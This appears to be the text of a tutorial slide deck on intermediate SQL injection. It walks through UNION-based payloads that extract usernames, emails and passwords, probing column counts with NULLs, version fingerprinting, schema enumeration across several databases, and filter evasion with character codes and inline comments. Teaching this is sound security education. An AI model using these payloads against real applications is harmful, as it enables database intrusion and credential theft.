```
$$$$$$\            $$\                                                       $$\ $$\            $$\
\_$$  _|           $$ |                                                      $$ |\__|           $$ |
  $$ |  $$$$$$$\ $$$$$$\    $$$$$$\   $$$$$$\  $$$$$$\$$$$\   $$$$$$\   $$$$$$$ |$$\  $$$$$$\ $$$$$$\    $$$$$$\
  $$ |  $$  __$$\\_$$  _|  $$  __$$\ $$  __$$\ $$  _$$  _$$\ $$  __$$\ $$  __$$ |$$ | \____$$\\_$$  _|  $$  __$$\
  $$ |  $$ |  $$ | $$ |    $$$$$$$$ |$$ |  \__|$$ / $$ / $$ |$$$$$$$$ |$$ /  $$ |$$ | $$$$$$$ | $$ |    $$$$$$$$ |
  $$ |  $$ |  $$ | $$ |$$\ $$   ____|$$ |      $$ | $$ | $$ |$$   ____|$$ |  $$ |$$ |$$  __$$ | $$ |$$\ $$   ____|
$$$$$$\ $$ |  $$ | \$$$$  |\$$$$$$$\ $$ |      $$ | $$ | $$ |\$$$$$$$\ \$$$$$$$ |$$ |\$$$$$$$ | \$$$$  |\$$$$$$$\
\______|\__|  \__|  \____/  \_______|\__|      \__| \__| \__| \_______| \_______|\__| \_______|  \____/  \_______|


 $$$$$$\   $$$$$$\  $$\             $$$$$$\ $$\   $$\    $$$$$\ $$$$$$$$\  $$$$$$\ $$$$$$$$\ $$$$$$\  $$$$$$\  $$\   $$\
$$  __$$\ $$  __$$\ $$ |            \_$$  _|$$$\  $$ |   \__$$ |$$  _____|$$  __$$\\__$$  __|\_$$  _|$$  __$$\ $$$\  $$ |
$$ /  \__|$$ /  $$ |$$ |              $$ |  $$$$\ $$ |      $$ |$$ |      $$ /  \__|  $$ |     $$ |  $$ /  $$ |$$$$\ $$ |
\$$$$$$\  $$ |  $$ |$$ |              $$ |  $$ $$\$$ |      $$ |$$$$$\    $$ |        $$ |     $$ |  $$ |  $$ |$$ $$\$$ |
 \____$$\ $$ |  $$ |$$ |              $$ |  $$ \$$$$ |$$\   $$ |$$  __|   $$ |        $$ |     $$ |  $$ |  $$ |$$ \$$$$ |
$$\   $$ |$$ $$\$$ |$$ |              $$ |  $$ |\$$$ |$$ |  $$ |$$ |      $$ |  $$\   $$ |     $$ |  $$ |  $$ |$$ |\$$$ |
\$$$$$$  |\$$$$$$ / $$$$$$$$\       $$$$$$\ $$ | \$$ |\$$$$$$  |$$$$$$$$\ \$$$$$$  |  $$ |   $$$$$$\  $$$$$$  |$$ | \$$ |
 \______/  \___$$$\ \________|      \______|\__|  \__| \______/ \________| \______/   \__|   \______| \______/ \__|  \__|
               \___|
```

Pulling data

- Use the Union operator
- This joins rows from another table into the results
- Very powerful, but:
  - Two result sets must have the same structure, with the same number of columns and compatible data types
  - Must know the name of the database table and relevant columns

Example

- A book search uses the following query:

```
SELECT author, title, publisher FROM books WHERE title = ‘1984’
```

- Which returns:

Author	Title	Publisher
George Orwell	1984	Secker and Warburg

Example cont.

- You can inject a union query to pull from the users table like so:

```
1984' UNION SELECT username, email, password FROM users --
```

- Which results in the following query:

```
SELECT author, title, publisher FROM books WHERE title =
'1984' UNION SELECT username, email, password FROM users --'
```

Example cont.

- Which returns:

Author	Title	Publisher
George Orwell	1984	Secker and Warburg
Jim Roberts	jim@mailtothis.com	Screamingeagle!
Alice Jones	alice@mailinator.com	IloveC4ts123

Length incompatibility

- What if the original query looks like this:

```
SELECT author, title, year, publisher FROM books WHERE title = ‘1984’
```

- And the users table only has 3 columns: username, email, and password

- This:

```
SELECT author, title, publisher, year FROM books WHERE title =
‘1984’ UNION SELECT username, email, password FROM users --’
```

- You will get this error:

```
“query block has incorrect number of result
columns”
```

Type incompatibility

- What if the original query looks like this:

```
SELECT author, title, year FROM books WHERE title = ‘1984’
```

- And the users table has 3 string columns: username, email, and password

- This:

```
SELECT author, title, year FROM books WHERE title = ‘1984’
UNION SELECT username, email, password FROM users --’
```

- You will get this error:

```
“expression must have same datatype as
corresponding expression”
```

Magic of Nulls

- The results of the injected query must have compatible data types, not necessarily the same type
- Null can be converted into any data type
- So If you don't know a fields data type, use a Null!
- Length incompatibility:
  - SELECT author, title, publisher, year FROM books WHERE title = '1984' UNION SELECT NULL, NULL, NULL, NULL --'
- Type incompatibility:
  - SELECT author, title, year FROM books WHERE title = '1984' UNION SELECT NULL, NULL, NULL --'

Using Nulls

- Start by injecting:
  - `‘ UNION SELECT NULL --`
  - `‘ UNION SELECT NULL, NULL --`
  - `‘ UNION SELECT NULL, NULL, NULL --`
  - and so on until one works
- Then try injecting:
  - `‘ UNION SELECT ‘A’, NULL, NULL --`
  - `‘ UNION SELECT NULL, ‘A’, NULL --`
  - `‘ UNION SELECT NULL, NULL, ‘A’ --`
  - This will tell you which column is a string data type

Figure out data type

- In order to exfiltrate data (without blind injection techniques) you need to find at least one returned field that is a string
- Results of subsequent string queries can be put in this string field and returned to the attacker

Example

- Lets say you only have one string field returned:

```
SELECT author, year FROM books WHERE
title = ‘1984’
```

- But you want to pull username, email, and password in one query
- How would you do this?

Example cont.

- Try concatenating sub-queries:
  - `1984’ UNION SELECT (SELECT username FROM users)||':'||(SELECT email FROM users)||':'||(SELECT password FROM users), NULL--`
- Which results in:
  - `SELECT author, year FROM books WHERE title = ‘1984’ UNION SELECT (SELECT username FROM users)||':'||(SELECT email FROM users)||':'||(SELECT password FROM users), NULL--’`
- Which returns:

Author	Year
George Orwell	1949
bob:bob@gmail.com:PugsAreTheBest11	NULL

Version number

- With MSSQL and MySQL you can use:
  - `@@version`
  - `‘ UNION SELECT @@version, NULL, NULL--`
- With Oracle
  - `Banner from v$version`
  - `‘ UNION SELECT banner, NULL, NULL FROM v$version--`
- With SQLite
  - sqlite_version()

Table and column names

- Query the metadata table called information_schema.columns
  - Contains all table and columns names in the DB
  - MS-SQL and MySQL use information_schema
  - Oracle uses user_tab_columns
  - SQLite uses sqlite_master

  - `A’ UNION SELECT table_name, column_name, NULL, NULL, NULL FROM information_schema.columns --`

  - Note:
    - http://stackoverflow.com/questions/205736/get-list-of-all-tables-in-oracle
    - http://dba.stackexchange.com/questions/21266/understanding-oracles-all-tab-columns

Table and column names cont.

- If you only have one string field to pull data through try concatenating results:
  - Oracle: `SELECT table_name||’:’||column_name FROM all_tab_columns`
  - MS-SQL: `SELECT table_name+’:’+column_name FROM information_schema.columns`
  - MySQL: `SELECT CONCAT(table_name,’:’,column_name) from information_schema.columns`
  - SQLite: `SELECT name||’:’||sql from sqlite_master WHERE type=‘table’`

Restricted characters

- Use character codes for individual characters
  - Oracle: CHR(41)
  - MS-SQL: CHAR(41)
  - MySQL: CHAR(41)
  - SQLite: cast(X’41’ as text)

No spaces

- Use comments between words

```
SELECT/*a*/username/*a*/FROM/*a*/users
```

- Can also be used to breakup keywords (in some cases)

```
SEL/*a*/ECT username FR/*a*/OM users
```

No comments

- Cleanly close the statements

```
‘ or 1=1--    =>  ‘ or ‘1’=‘1
```